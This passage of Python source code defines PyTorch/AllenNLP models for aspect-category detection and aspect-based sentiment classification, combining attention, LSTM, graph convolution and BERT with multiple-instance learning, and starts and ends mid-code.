acd_layers.append(self.category_fcs)
for layer in acd_layers:
for name, value in layer.named_parameters():
value.requires_grad = requires_grad
def forward(self, tokens: Dict[str, torch.Tensor], label: torch.Tensor, position: torch.Tensor,
polarity_mask: torch.Tensor, sample: list, aspects: torch.Tensor=None) -> torch.Tensor:
mask = get_text_field_mask(tokens)
word_embeddings = self.word_embedder(tokens)
if self.configuration['lstm_or_fc_after_embedding_layer'] == 'fc':
word_embeddings_fc = self.embedding_layer_fc(word_embeddings)
elif self.configuration['lstm_or_fc_after_embedding_layer'] == 'gcn':
max_len = tokens['tokens'].size()[1]
graphs = [e[3] for e in sample]
graphs_padded = self.pad_dgl_graph(graphs, max_len)
word_embeddings_fc = F.relu(self.gc_aspect_category(word_embeddings, graphs_padded))
else:
word_embeddings_fc, (_, _) = self.embedding_layer_lstm(word_embeddings)
aspects_separate = [{'aspect': aspects['aspect'][:, i].unsqueeze(1)} for i in range(self.category_num)]
aspect_embeddings_singles = [self.aspect_embedder(aspects_separate[i]).squeeze(1) for i in
range(self.category_num)]
aspects_seprate_repeat = [{'aspect': aspects_separate[i]['aspect'].expand_as(tokens['tokens'])} for i in
range(self.category_num)]
aspect_embeddings_separate = [self.aspect_embedder(aspects_seprate_repeat[i]) for i in range(self.category_num)]
embedding_layer_category_outputs = []
embedding_layer_category_alphas = []
embedding_layer_sentiment_outputs = []
embedding_layer_sentiment_alphas = []
embedding_layer_category_alphas = []
for i in range(self.category_num):
embedding_layer_aspect_attention = self.embedding_layer_aspect_attentions[i]
alpha = embedding_layer_aspect_attention(word_embeddings_fc, mask)
embedding_layer_category_alphas.append(alpha)
for i in range(self.category_num):
alpha = embedding_layer_category_alphas[i]
category_output = self.element_wise_mul(word_embeddings_fc, alpha, return_not_sum_result=False)
embedding_layer_category_outputs.append(category_output)
lstm_input = word_embeddings
if self.configuration['position']:
position_embeddings = self.position_embedder(position)
lstm_input = torch.cat([word_embeddings, position_embeddings], dim=-1)
lstm_input = self.dropout_after_embedding_layer(lstm_input)
if self.configuration['sentence_encoder_for_sentiment'] == 'cnn':
lstm_result = self.cnn_encoder(lstm_input, mask)
else:
lstm_result, _ = self.lstm(lstm_input)
lstm_result = self.dropout_after_lstm_layer(lstm_result)
# lstm_result_with_position = torch.cat([lstm_result, position_embeddings], dim=-1)
lstm_layer_category_outputs = []
lstm_layer_sentiment_outputs = []
lstm_layer_words_sentiment_soft = []
# max_len = tokens['tokens'].size()[1]
# graphs = [e[3] for e in sample]
# graphs_padded = self.pad_dgl_graph(graphs, max_len)
# graph_output1 = F.relu(self.gc1(word_embeddings, graphs_padded))
# graph_output2 = F.relu(self.gc2(graph_output1, graphs_padded))
for i in range(self.category_num):
alpha = embedding_layer_category_alphas[i]
category_output = self.element_wise_mul(lstm_result, alpha, return_not_sum_result=False)
lstm_layer_category_outputs.append(category_output)
# sentiment
# word_representation_for_sentiment = torch.cat([graph_output2, lstm_result], dim=-1)
word_representation_for_sentiment = lstm_result
sentiment_alpha = embedding_layer_category_alphas[i]
if self.configuration['mil']:
sentiment_alpha = sentiment_alpha.unsqueeze(1)
if not self.configuration['share_sentiment_classifier']:
words_sentiment = self.sentiment_fcs[i](word_representation_for_sentiment)
else:
words_sentiment = self.sentiment_fc(word_representation_for_sentiment)
if self.configuration['mil_softmax']:
words_sentiment_soft = torch.softmax(words_sentiment, dim=-1)
lstm_layer_words_sentiment_soft.append(words_sentiment_soft)
else:
words_sentiment_soft = words_sentiment
lstm_layer_words_sentiment_soft.append(torch.softmax(words_sentiment, dim=-1))
sentiment_output = torch.matmul(sentiment_alpha, words_sentiment_soft).squeeze(1) # batch_size x 2*hidden_dim
lstm_layer_sentiment_outputs.append(sentiment_output)
else:
sentiment_output_temp = self.element_wise_mul(word_representation_for_sentiment, sentiment_alpha,
return_not_sum_result=False)
if not self.configuration['share_sentiment_classifier']:
sentiment_output = self.sentiment_fcs[i](sentiment_output_temp)
else:
sentiment_output = self.sentiment_fc(sentiment_output_temp)
lstm_layer_sentiment_outputs.append(sentiment_output)
final_category_outputs = []
final_lstm_category_outputs = []
final_sentiment_outputs = []
for i in range(self.category_num):
fc = self.category_fcs[i]
category_output = embedding_layer_category_outputs[i]
final_category_output = fc(category_output)
final_category_outputs.append(final_category_output)
if self.configuration['lstm_layer_category_classifier']:
fc_lstm = self.lstm_category_fcs[i]
lstm_category_output = lstm_layer_category_outputs[i]
final_lstm_category_output = fc_lstm(lstm_category_output)
final_lstm_category_outputs.append(final_lstm_category_output)
final_sentiment_output = lstm_layer_sentiment_outputs[i]
final_sentiment_outputs.append(final_sentiment_output)
output = {}
output['alpha'] = embedding_layer_category_alphas
if label is not None:
category_labels = []
polarity_labels = []
polarity_masks = []
for i in range(self.category_num):
category_labels.append(label[:, i])
polarity_labels.append(label[:, i + self.category_num])
polarity_masks.append(polarity_mask[:, i])
loss = 0
total_category_loss = 0
total_sentiment_loss = 0
for i in range(self.category_num):
category_temp_loss = self.category_loss(final_category_outputs[i].squeeze(dim=-1), category_labels[i])
sentiment_temp_loss = self.sentiment_loss(final_sentiment_outputs[i], polarity_labels[i].long())
total_category_loss += category_temp_loss
if not self.configuration['only_acd']:
total_sentiment_loss += sentiment_temp_loss
if self.configuration['lstm_layer_category_classifier']:
lstm_category_temp_loss = self.category_loss(final_lstm_category_outputs[i].squeeze(dim=-1),
category_labels[i])
total_category_loss += lstm_category_temp_loss
loss = self.category_loss_weight * total_category_loss + self.sentiment_loss_weight * total_sentiment_loss
# Sparse Regularization Orthogonal Regularization
if self.configuration['sparse_reg'] or self.configuration['orthogonal_reg']:
reg_loss = 0
for j in range(len(sample)):
polarity_mask_of_one_sample = polarity_mask[j]
category_alpha_of_one_sample = [embedding_layer_category_alphas[k][j] for k in range(self.category_num)]
category_alpha_of_mentioned = []
category_alpha_of_not_mentioned = []
for k in range(self.category_num):
if polarity_mask_of_one_sample[k] == 1:
category_alpha_of_mentioned.append(category_alpha_of_one_sample[k].unsqueeze(0))
else:
category_alpha_of_not_mentioned.append(category_alpha_of_one_sample[k].unsqueeze(0))
if len(category_alpha_of_not_mentioned) != 0:
category_alpha_of_not_mentioned = torch.cat(category_alpha_of_not_mentioned, dim=0)
category_alpha_of_not_mentioned = torch.mean(category_alpha_of_not_mentioned, dim=0, keepdim=True)
category_alpha_of_mentioned.append(category_alpha_of_not_mentioned)
category_eye = torch.eye(len(category_alpha_of_mentioned))
category_alpha_of_mentioned = torch.cat(category_alpha_of_mentioned, dim=0)
category_alpha_similarity = torch.mm(category_alpha_of_mentioned, category_alpha_of_mentioned.t())
if self.configuration['sparse_reg'] and self.configuration['orthogonal_reg']:
pass
elif self.configuration['sparse_reg']:
for m in range(len(category_alpha_of_mentioned)):
for n in range(len(category_alpha_of_mentioned)):
if m != n:
category_eye[m][n] = category_alpha_similarity[m][n]
else:
# orthogonal_reg
for m in range(len(category_alpha_of_mentioned)):
category_eye[m][m] = category_alpha_similarity[m][m]
# category_eye = nn_util.move_to_device(category_eye, self.configuration['device'])
category_eye = category_eye.to(self.configuration['device'])
category_alpha_similarity = category_alpha_similarity.to(self.configuration['device'])
category_reg_loss = category_alpha_similarity - category_eye
category_reg_loss = torch.norm(category_reg_loss)
reg_loss += category_reg_loss
loss += (reg_loss * self.configuration['attention_lamda'] / len(sample))
# sentiment accuracy
sentiment_logit = torch.cat(final_sentiment_outputs)
sentiment_label = torch.cat(polarity_labels)
sentiment_mask = torch.cat(polarity_masks)
self._accuracy(sentiment_logit, sentiment_label, sentiment_mask)
# category f1
final_category_outputs_prob = [torch.sigmoid(e) for e in final_category_outputs]
category_prob = torch.cat(final_category_outputs_prob).squeeze()
category_label = torch.cat(category_labels)
self._f1(category_prob, category_label)
output['loss'] = loss
# visualize attention
pred_category = [torch.sigmoid(e) for e in final_category_outputs]
pred_sentiment = [torch.nn.functional.softmax(e, dim=-1) for e in final_sentiment_outputs]
output['pred_category'] = pred_category
output['pred_sentiment'] = pred_sentiment
output['embedding_layer_category_alphas'] = embedding_layer_category_alphas
output['lstm_layer_words_sentiment_soft'] = lstm_layer_words_sentiment_soft
if self.configuration['visualize_attention']:
for i in range(len(sample)):
words = sample[i][2]
# if not ('while' in words and 'there' in words):
# continue
attention_labels = [e.split('/')[0] for e in self.categories]
label_true = label[i].detach().cpu().numpy()[: self.category_num]
if sum(label_true) <= 1:
continue
# category
visual_attentions_category = [embedding_layer_category_alphas[j][i][: len(words)].detach().cpu().numpy()
for j in range(self.category_num)]
titles = ['true: %s - pred: %s' % (str(label[i][j].detach().cpu().numpy()),
str(pred_category[j][i].detach().cpu().numpy()))
for j in range(self.category_num)]
attention_visualizer.plot_multi_attentions_of_sentence_backup(words, visual_attentions_category,
attention_labels, titles)
# savefig_filepath = super()._get_model_visualization_picture_filepath(self.configuration, words)
# attention_visualizer.plot_multi_attentions_of_sentence(words, visual_attentions_category,
# attention_labels, titles,
# savefig_filepath=savefig_filepath)
# sentiment embedding layer
# visual_attentions = [embedding_layer_sentiment_alphas[j][i][: len(words)].detach().cpu().numpy()
# for j in range(self.category_num)]
# titles = ['true: %s - pred: %s - %s' % (str(label[i + self.category_num][j].detach().cpu().numpy()),
# str(pred_sentiment[j][i].detach().cpu().numpy()),
# str(self.polarites))
# for j in range(self.category_num)]
# attention_visualizer.plot_multi_attentions_of_sentence(words, visual_attentions, attention_labels,
# titles)
# sentiment lstm layer
# visual_attentions = [lstm_layer_sentiment_alphas[j][i][: len(words)].detach().cpu().numpy()
# for j in range(self.category_num)]
# titles = ['true: %s - pred: %s - %s' % (str(label[i + self.category_num][j].detach().cpu().numpy()),
# str(pred_sentiment[j][i].detach().cpu().numpy()),
# str(self.polarites))
# for j in range(self.category_num)]
# attention_visualizer.plot_multi_attentions_of_sentence(words, visual_attentions, attention_labels,
# titles)
# sentiment lstm layer
visual_attentions_sentiment_temp = [lstm_layer_words_sentiment_soft[j][i][: len(words)].detach().cpu().numpy()
for j in range(self.category_num)]
for j in range(self.category_num):
c_label = label[i][j].detach().cpu().numpy().tolist()
if c_label == 1:
visual_attentions_sentiment = []
labels_sentiment = []
sentiment_true_index = int(label[i][j + self.category_num].detach().cpu().numpy().tolist())
if sentiment_true_index == -100:
continue
titles_sentiment = ['true: %s - pred: %s - %s' % (str(self.polarites[sentiment_true_index]),
str(pred_sentiment[j][i].detach().cpu().numpy()),
str(self.polarites))]
c_attention = embedding_layer_category_alphas[j][i][: len(words)].detach().cpu().numpy()
visual_attentions_sentiment.append(c_attention)
labels_sentiment.append(self.categories[j].split('/')[0])
s_distributions = visual_attentions_sentiment_temp[j]
for k in range(self.polarity_num):
labels_sentiment.append(self.polarites[k])
visual_attentions_sentiment.append(s_distributions[:, k])
titles_sentiment.extend([''] * 3)
attention_visualizer.plot_multi_attentions_of_sentence_backup(words, visual_attentions_sentiment,
labels_sentiment,
titles_sentiment)
# savefig_filepath = super()._get_model_visualization_picture_filepath(self.configuration, words)
# attention_visualizer.plot_multi_attentions_of_sentence(words, visual_attentions_category,
# attention_labels, titles,
# savefig_filepath=savefig_filepath)
print()
return output
def get_metrics(self, reset: bool = False) -> Dict[str, float]:
metrics = {
'accuracy': self._accuracy.get_metric(reset),
'category_f1': self._f1.get_metric(reset)['fscore']
}
return metrics
class AsMil(Model):
def __init__(self, word_embedder: TextFieldEmbedder, position_embedder: TextFieldEmbedder,
categories: list, polarities: list, vocab: Vocabulary, configuration: dict):
super().__init__(vocab)
self.configuration = configuration
self.word_embedder = word_embedder
self.position_embedder = position_embedder
self.categories = categories
self.polarites = polarities
self.category_num = len(categories)
self.polarity_num = len(polarities)
self.category_loss = nn.BCEWithLogitsLoss()
self.sentiment_loss = nn.CrossEntropyLoss()
self._accuracy = metrics.CategoricalAccuracy()
self._f1 = allennlp_metrics.BinaryF1(0.5)
word_embedding_dim = word_embedder.get_output_dim()
if self.configuration['position']:
word_embedding_dim += position_embedder.get_output_dim()
self.embedding_layer_fc = nn.Linear(word_embedding_dim, word_embedding_dim, bias=True)
self.embedding_layer_aspect_attentions = [AttentionInHtt(word_embedding_dim,
word_embedding_dim)
for _ in range(self.category_num)]
lstm_input_size = word_embedding_dim
num_layers = 3
self.lstm = torch.nn.LSTM(lstm_input_size, int(word_embedding_dim / 2), batch_first=True,
bidirectional=True, num_layers=num_layers, dropout=0.5)
self.category_fcs = [nn.Linear(word_embedding_dim, 1) for _ in range(self.category_num)]
if self.configuration['lstm_layer_category_classifier']:
self.lstm_category_fcs = [nn.Linear(word_embedding_dim, 1) for _ in range(self.category_num)]
self.sentiment_fc = nn.Sequential(nn.Linear(word_embedding_dim, word_embedding_dim),
nn.ReLU(),
nn.Linear(word_embedding_dim, self.polarity_num))
# self.gc1 = DglGraphConvolution(word_embedding_dim, word_embedding_dim, configuration)
# self.gc2 = DglGraphConvolution(word_embedding_dim, word_embedding_dim, configuration)
def matrix_mul(self, input, weight, bias=False):
feature_list = []
for feature in input:
feature = torch.mm(feature, weight)
if isinstance(bias, torch.nn.parameter.Parameter):
feature = feature + bias.expand(feature.size()[0], bias.size()[1])
feature = torch.tanh(feature).unsqueeze(0)
feature_list.append(feature)
return torch.cat(feature_list, 0).squeeze()
def element_wise_mul(self, input1, input2, return_not_sum_result=False):
feature_list = []
for feature_1, feature_2 in zip(input1, input2):
feature_2 = feature_2.unsqueeze(1)
feature_2 = feature_2.expand_as(feature_1)
feature = feature_1 * feature_2
feature = feature.unsqueeze(0)
feature_list.append(feature)
output = torch.cat(feature_list, 0)
result = torch.sum(output, 1)
if return_not_sum_result:
return result, output
else:
return result
def reduce(self, nodes):
"""Take an average over all neighbor node features hu and use it to
overwrite the original node feature."""
m = nodes.mailbox['m']
accum = torch.sum(m, 1)
return {'h': accum}
def pad_dgl_graph(self, graphs, max_node_num):
graphs_padded = []
for graph in graphs:
graph_padded = copy.deepcopy(graph)
node_num = graph.number_of_nodes()
graph_padded.add_nodes(max_node_num - node_num)
graphs_padded.append(graph_padded)
return graphs_padded
def forward(self, tokens: Dict[str, torch.Tensor], label: torch.Tensor, position: torch.Tensor,
polarity_mask: torch.Tensor, sample: list) -> torch.Tensor:
mask = get_text_field_mask(tokens)
word_embeddings = self.word_embedder(tokens)
if self.configuration['position']:
position_embeddings = self.position_embedder(position)
word_embeddings = torch.cat([word_embeddings, position_embeddings], dim=-1)
word_embeddings_fc = self.embedding_layer_fc(word_embeddings)
embedding_layer_category_outputs = []
embedding_layer_category_alphas = []
embedding_layer_sentiment_outputs = []
embedding_layer_sentiment_alphas = []
for i in range(self.category_num):
embedding_layer_aspect_attention = self.embedding_layer_aspect_attentions[i]
alpha = embedding_layer_aspect_attention(word_embeddings_fc, mask)
embedding_layer_category_alphas.append(alpha)
category_output = self.element_wise_mul(word_embeddings_fc, alpha, return_not_sum_result=False)
embedding_layer_category_outputs.append(category_output)
lstm_result, _ = self.lstm(word_embeddings)
# lstm_result_with_position = torch.cat([lstm_result, position_embeddings], dim=-1)
lstm_layer_category_outputs = []
lstm_layer_sentiment_outputs = []
lstm_layer_words_sentiment_soft = []
# max_len = tokens['tokens'].size()[1]
# graphs = [e[3] for e in sample]
# graphs_padded = self.pad_dgl_graph(graphs, max_len)
# graph_output1 = F.relu(self.gc1(word_embeddings, graphs_padded))
# graph_output2 = F.relu(self.gc2(graph_output1, graphs_padded))
for i in range(self.category_num):
alpha = embedding_layer_category_alphas[i]
category_output = self.element_wise_mul(lstm_result, alpha, return_not_sum_result=False)
lstm_layer_category_outputs.append(category_output)
# sentiment
# word_representation_for_sentiment = torch.cat([graph_output2, lstm_result], dim=-1)
word_representation_for_sentiment = lstm_result
sentiment_alpha = embedding_layer_category_alphas[i]
if self.configuration['mil']:
sentiment_alpha = sentiment_alpha.unsqueeze(1)
words_sentiment = self.sentiment_fc(word_representation_for_sentiment)
if self.configuration['mil_softmax']:
words_sentiment_soft = torch.softmax(words_sentiment, dim=-1)
lstm_layer_words_sentiment_soft.append(words_sentiment_soft)
else:
words_sentiment_soft = words_sentiment
lstm_layer_words_sentiment_soft.append(torch.softmax(words_sentiment, dim=-1))
sentiment_output = torch.matmul(sentiment_alpha, words_sentiment_soft).squeeze(1) # batch_size x 2*hidden_dim
lstm_layer_sentiment_outputs.append(sentiment_output)
else:
sentiment_output = self.element_wise_mul(word_representation_for_sentiment, sentiment_alpha,
return_not_sum_result=False)
lstm_layer_sentiment_outputs.append(sentiment_output)
final_category_outputs = []
final_lstm_category_outputs = []
final_sentiment_outputs = []
for i in range(self.category_num):
fc = self.category_fcs[i]
category_output = embedding_layer_category_outputs[i]
final_category_output = fc(category_output)
final_category_outputs.append(final_category_output)
if self.configuration['lstm_layer_category_classifier']:
fc_lstm = self.lstm_category_fcs[i]
lstm_category_output = lstm_layer_category_outputs[i]
final_lstm_category_output = fc_lstm(lstm_category_output)
final_lstm_category_outputs.append(final_lstm_category_output)
sentiment_output = lstm_layer_sentiment_outputs[i]
if self.configuration['mil']:
final_sentiment_output = sentiment_output
else:
final_sentiment_output = self.sentiment_fc(sentiment_output)
final_sentiment_outputs.append(final_sentiment_output)
output = {}
if label is not None:
category_labels = []
polarity_labels = []
polarity_masks = []
for i in range(self.category_num):
category_labels.append(label[:, i])
polarity_labels.append(label[:, i + self.category_num])
polarity_masks.append(polarity_mask[:, i])
loss = 0
for i in range(self.category_num):
category_temp_loss = self.category_loss(final_category_outputs[i].squeeze(dim=-1), category_labels[i])
sentiment_temp_loss = self.sentiment_loss(final_sentiment_outputs[i], polarity_labels[i].long())
loss += category_temp_loss
if not self.configuration['only_acd']:
loss += sentiment_temp_loss
if self.configuration['lstm_layer_category_classifier']:
lstm_category_temp_loss = self.category_loss(final_lstm_category_outputs[i].squeeze(dim=-1),
category_labels[i])
loss += lstm_category_temp_loss
# sentiment accuracy
sentiment_logit = torch.cat(final_sentiment_outputs)
sentiment_label = torch.cat(polarity_labels)
sentiment_mask = torch.cat(polarity_masks)
self._accuracy(sentiment_logit, sentiment_label, sentiment_mask)
# category f1
final_category_outputs_prob = [torch.sigmoid(e) for e in final_category_outputs]
category_prob = torch.cat(final_category_outputs_prob).squeeze()
category_label = torch.cat(category_labels)
self._f1(category_prob, category_label)
output['loss'] = loss
# visualize attention
pred_category = [torch.sigmoid(e) for e in final_category_outputs]
pred_sentiment = [torch.nn.functional.softmax(e, dim=-1) for e in final_sentiment_outputs]
output['pred_category'] = pred_category
output['pred_sentiment'] = pred_sentiment
if self.configuration['visualize_attention']:
for i in range(len(sample)):
words = sample[i][2]
attention_labels = [e.split('/')[0] for e in self.categories]
# category
visual_attentions_category = [embedding_layer_category_alphas[j][i][: len(words)].detach().cpu().numpy()
for j in range(self.category_num)]
titles = ['true: %s - pred: %s' % (str(label[i][j].detach().cpu().numpy()),
str(pred_category[j][i].detach().cpu().numpy()))
for j in range(self.category_num)]
attention_visualizer.plot_multi_attentions_of_sentence(words, visual_attentions_category,
attention_labels, titles)
# sentiment embedding layer
# visual_attentions = [embedding_layer_sentiment_alphas[j][i][: len(words)].detach().cpu().numpy()
# for j in range(self.category_num)]
# titles = ['true: %s - pred: %s - %s' % (str(label[i + self.category_num][j].detach().cpu().numpy()),
# str(pred_sentiment[j][i].detach().cpu().numpy()),
# str(self.polarites))
# for j in range(self.category_num)]
# attention_visualizer.plot_multi_attentions_of_sentence(words, visual_attentions, attention_labels,
# titles)
# sentiment lstm layer
# visual_attentions = [lstm_layer_sentiment_alphas[j][i][: len(words)].detach().cpu().numpy()
# for j in range(self.category_num)]
# titles = ['true: %s - pred: %s - %s' % (str(label[i + self.category_num][j].detach().cpu().numpy()),
# str(pred_sentiment[j][i].detach().cpu().numpy()),
# str(self.polarites))
# for j in range(self.category_num)]
# attention_visualizer.plot_multi_attentions_of_sentence(words, visual_attentions, attention_labels,
# titles)
# sentiment lstm layer
visual_attentions_sentiment_temp = [lstm_layer_words_sentiment_soft[j][i][: len(words)].detach().cpu().numpy()
for j in range(self.category_num)]
for j in range(self.category_num):
c_label = label[i][j].detach().cpu().numpy().tolist()
if c_label == 1:
visual_attentions_sentiment = []
labels_sentiment = []
sentiment_true_index = int(label[i][j + self.category_num].detach().cpu().numpy().tolist())
if sentiment_true_index == -100:
continue
titles_sentiment = ['true: %s - pred: %s - %s' % (str(self.polarites[sentiment_true_index]),
str(pred_sentiment[j][i].detach().cpu().numpy()),
str(self.polarites))]
c_attention = embedding_layer_category_alphas[j][i][: len(words)].detach().cpu().numpy()
visual_attentions_sentiment.append(c_attention)
labels_sentiment.append(self.categories[j].split('/')[0])
s_distributions = visual_attentions_sentiment_temp[j]
for k in range(self.polarity_num):
labels_sentiment.append(self.polarites[k])
visual_attentions_sentiment.append(s_distributions[:, k])
titles_sentiment.extend([''] * 3)
attention_visualizer.plot_multi_attentions_of_sentence(words, visual_attentions_sentiment,
labels_sentiment,
titles_sentiment)
print()
return output
def get_metrics(self, reset: bool = False) -> Dict[str, float]:
metrics = {
'accuracy': self._accuracy.get_metric(reset),
'category_f1': self._f1.get_metric(reset)['fscore']
}
return metrics
class AsMilSimultaneouslyBert(TextInAllAspectSentimentOutModel):
def __init__(self, word_embedder: TextFieldEmbedder, position_embedder: TextFieldEmbedder,
categories: list, polarities: list, vocab: Vocabulary, configuration: dict,
bert_word_embedder: TextFieldEmbedder=None):
super().__init__(vocab)
self.configuration = configuration
self.word_embedder = word_embedder
self.position_embedder = position_embedder
self.categories = categories
self.polarites = polarities
self.category_num = len(categories)
self.polarity_num = len(polarities)
self.category_loss = nn.BCEWithLogitsLoss()
self.sentiment_loss = nn.CrossEntropyLoss()
self._accuracy = metrics.CategoricalAccuracy()
self._f1 = allennlp_metrics.BinaryF1(0.5)
word_embedding_dim = word_embedder.get_output_dim()
if self.configuration['lstm_or_fc_after_embedding_layer'] == 'fc':
self.embedding_layer_fc = nn.Linear(word_embedding_dim, word_embedding_dim, bias=True)
elif self.configuration['lstm_or_fc_after_embedding_layer'] == 'bilstm':
self.embedding_layer_lstm = torch.nn.LSTM(word_embedding_dim, int(word_embedding_dim / 2), batch_first=True,
bidirectional=True, num_layers=1)
else:
self.embedding_layer_lstm = torch.nn.LSTM(word_embedding_dim, word_embedding_dim, batch_first=True,
bidirectional=False, num_layers=1)
self.embedding_layer_aspect_attentions = [AttentionInHtt(word_embedding_dim,
word_embedding_dim)
for _ in range(self.category_num)]
self.embedding_layer_aspect_attentions = nn.ModuleList(self.embedding_layer_aspect_attentions)
self.category_fcs = [nn.Linear(word_embedding_dim, 1) for _ in range(self.category_num)]
self.category_fcs = nn.ModuleList(self.category_fcs)
if self.configuration['lstm_layer_num_in_bert'] != 0:
num_layers = self.configuration['lstm_layer_num_in_bert']
bilstm_hidden_size_in_bert = self.configuration['bilstm_hidden_size_in_bert']
if bilstm_hidden_size_in_bert == 0:
bilstm_hidden_size_in_bert = int(word_embedding_dim / 2)
self.lstm = torch.nn.LSTM(768, bilstm_hidden_size_in_bert, batch_first=True,
bidirectional=True, num_layers=num_layers,
dropout=self.configuration['dropout_in_bert'])
hidden_size = bilstm_hidden_size_in_bert * 2
else:
hidden_size = 768
if self.configuration['only_bert']:
self.sentiment_fc = nn.Sequential(
# nn.Linear(768, 768),
# nn.ReLU(),
nn.Linear(768, self.polarity_num))
else:
self.sentiment_fc = nn.Sequential(
# nn.Linear(hidden_size, hidden_size),
# nn.ReLU(),
nn.Linear(hidden_size, self.polarity_num))
self.bert_word_embedder = bert_word_embedder
self.dropout_after_embedding_layer = nn.Dropout(self.configuration['dropout_in_bert'])
def set_bert_word_embedder(self, bert_word_embedder: TextFieldEmbedder=None):
self.bert_word_embedder = bert_word_embedder
def set_grad_for_acd_parameter(self, requires_grad=True):
acd_layers = []
if self.configuration['lstm_or_fc_after_embedding_layer'] == 'fc':
acd_layers.append(self.embedding_layer_fc)
else:
acd_layers.append(self.embedding_layer_lstm)
acd_layers.append(self.embedding_layer_aspect_attentions)
acd_layers.append(self.category_fcs)
for layer in acd_layers:
for name, value in layer.named_parameters():
value.requires_grad = requires_grad
def set_grad_for_acsc_parameter(self, requires_grad=True):
acsc_layers = []
if self.configuration['lstm_layer_num_in_bert'] != 0:
acsc_layers.append(self.lstm)
acsc_layers.append(self.sentiment_fc)
for layer in acsc_layers:
for name, value in layer.named_parameters():
value.requires_grad = requires_grad
bert_model = self.bert_word_embedder._token_embedders['bert'].bert_model
for param in bert_model.parameters():
param.requires_grad = requires_grad
def forward(self, tokens: Dict[str, torch.Tensor], label: torch.Tensor, position: torch.Tensor,
polarity_mask: torch.Tensor, sample: list, bert: torch.Tensor) -> torch.Tensor:
bert_mask = bert['mask']
# bert_word_embeddings = self.bert_word_embedder(bert)
token_type_ids = bert['bert-type-ids']
# token_type_ids_size = token_type_ids.size()
# for i in range(token_type_ids_size[1]):
# print(token_type_ids[0][i])
offsets = bert['bert-offsets']
bert_word_embeddings = self.bert_word_embedder(bert, token_type_ids=token_type_ids, offsets=offsets)
mask = get_text_field_mask(tokens)
word_embeddings = self.word_embedder(tokens)
word_embeddings_size = word_embeddings.size()
if self.configuration['lstm_or_fc_after_embedding_layer'] == 'fc':
word_embeddings_fc = self.embedding_layer_fc(word_embeddings)
else:
word_embeddings_fc, (_, _) = self.embedding_layer_lstm(word_embeddings)
embedding_layer_category_outputs = []
embedding_layer_category_alphas = []
embedding_layer_sentiment_outputs = []
embedding_layer_sentiment_alphas = []
bert_clses_of_all_aspect = []
for i in range(self.category_num):
embedding_layer_aspect_attention = self.embedding_layer_aspect_attentions[i]
alpha = embedding_layer_aspect_attention(word_embeddings_fc, mask)
embedding_layer_category_alphas.append(alpha)
category_output = self.element_wise_mul(word_embeddings_fc, alpha, return_not_sum_result=False)
embedding_layer_category_outputs.append(category_output)
bert_clses_of_aspect = bert_word_embeddings[:, i, 0, :]
bert_clses_of_all_aspect.append(bert_clses_of_aspect)
if not self.configuration['only_bert']:
bert_word_embeddings_of_aspect = bert_word_embeddings[:, i, :, :]
aspect_word_embeddings_from_bert = []
for j in range(len(sample)):
aspect_word_embeddings_from_bert_of_one_sample = []
all_word_indices_in_bert = sample[j][6]
for k in range(word_embeddings_size[1]):
if k in all_word_indices_in_bert:
word_indices_in_bert = all_word_indices_in_bert[k]
word_bert_embeddings = []
for word_index_in_bert in word_indices_in_bert:
word_bert_embedding = bert_word_embeddings_of_aspect[j][word_index_in_bert]
word_bert_embeddings.append(word_bert_embedding)
if len(word_bert_embeddings) == 0:
print()
if len(word_bert_embeddings) > 1:
word_bert_embeddings_unsqueeze = [torch.unsqueeze(e, dim=0) for e in word_bert_embeddings]
word_bert_embeddings_cat = torch.cat(word_bert_embeddings_unsqueeze, dim=0)
word_bert_embeddings_sum = torch.sum(word_bert_embeddings_cat, dim=0)
word_bert_embeddings_ave = word_bert_embeddings_sum / len(word_bert_embeddings)
else:
word_bert_embeddings_ave = word_bert_embeddings[0]
aspect_word_embeddings_from_bert_of_one_sample.append(
torch.unsqueeze(word_bert_embeddings_ave, 0))
else:
zero = torch.zeros_like(aspect_word_embeddings_from_bert_of_one_sample[-1])
aspect_word_embeddings_from_bert_of_one_sample.append(zero)
aspect_word_embeddings_from_bert_of_one_sample_cat = torch.cat(aspect_word_embeddings_from_bert_of_one_sample, dim=0)
aspect_word_embeddings_from_bert.append(torch.unsqueeze(aspect_word_embeddings_from_bert_of_one_sample_cat, dim=0))
aspect_word_embeddings_from_bert_cat = torch.cat(aspect_word_embeddings_from_bert, dim=0)
if self.configuration['lstm_layer_num_in_bert'] != 0:
aspect_word_embeddings_from_bert_cat, _ = self.lstm(aspect_word_embeddings_from_bert_cat)
embedding_layer_sentiment_outputs.append(aspect_word_embeddings_from_bert_cat)
lstm_layer_category_outputs = []
lstm_layer_sentiment_outputs = []
lstm_layer_words_sentiment_soft = []
sentiment_output_clses_soft = []
for i in range(self.category_num):
sentiment_output_temp = bert_clses_of_all_aspect[i]
if self.configuration['dropout_after_cls']:
sentiment_output_temp = self.dropout_after_embedding_layer(sentiment_output_temp)
sentiment_output_cls = self.sentiment_fc(sentiment_output_temp)
sentiment_output_clses_soft.append(torch.softmax(sentiment_output_cls, dim=-1))
if self.configuration['only_bert']:
sentiment_output = sentiment_output_cls
lstm_layer_sentiment_outputs.append(sentiment_output)
else:
# sentiment
aspect_word_embeddings_from_bert = embedding_layer_sentiment_outputs[i]
word_representation_for_sentiment = self.dropout_after_embedding_layer(aspect_word_embeddings_from_bert)
sentiment_alpha = embedding_layer_category_alphas[i]
if self.configuration['mil']:
sentiment_alpha = sentiment_alpha.unsqueeze(1)
words_sentiment = self.sentiment_fc(word_representation_for_sentiment)
if self.configuration['mil_softmax']:
words_sentiment_soft = torch.softmax(words_sentiment, dim=-1)
lstm_layer_words_sentiment_soft.append(words_sentiment_soft)
else:
words_sentiment_soft = words_sentiment
lstm_layer_words_sentiment_soft.append(torch.softmax(words_sentiment, dim=-1))
sentiment_output_mil = torch.matmul(sentiment_alpha, words_sentiment_soft).squeeze(1) # batch_size x 2*hidden_dim
if self.configuration['concat_cls_vector']:
if self.configuration['concat_cls_vector_mode'] == 'average':
sentiment_output = (sentiment_output_mil + sentiment_output_cls) / 2
else:
sentiment_output = sentiment_output_mil + sentiment_output_cls
else:
sentiment_output = sentiment_output_mil
lstm_layer_sentiment_outputs.append(sentiment_output)
else:
sentiment_output_temp = self.element_wise_mul(word_representation_for_sentiment, sentiment_alpha,
return_not_sum_result=False)
sentiment_output_not_mil = self.sentiment_fc(sentiment_output_temp)
if self.configuration['concat_cls_vector']:
if self.configuration['concat_cls_vector_mode'] == 'average':
sentiment_output = (sentiment_output_not_mil + sentiment_output_cls) / 2
else:
sentiment_output = sentiment_output_not_mil + sentiment_output_cls
else:
sentiment_output = sentiment_output_not_mil
lstm_layer_sentiment_outputs.append(sentiment_output)
final_category_outputs = []
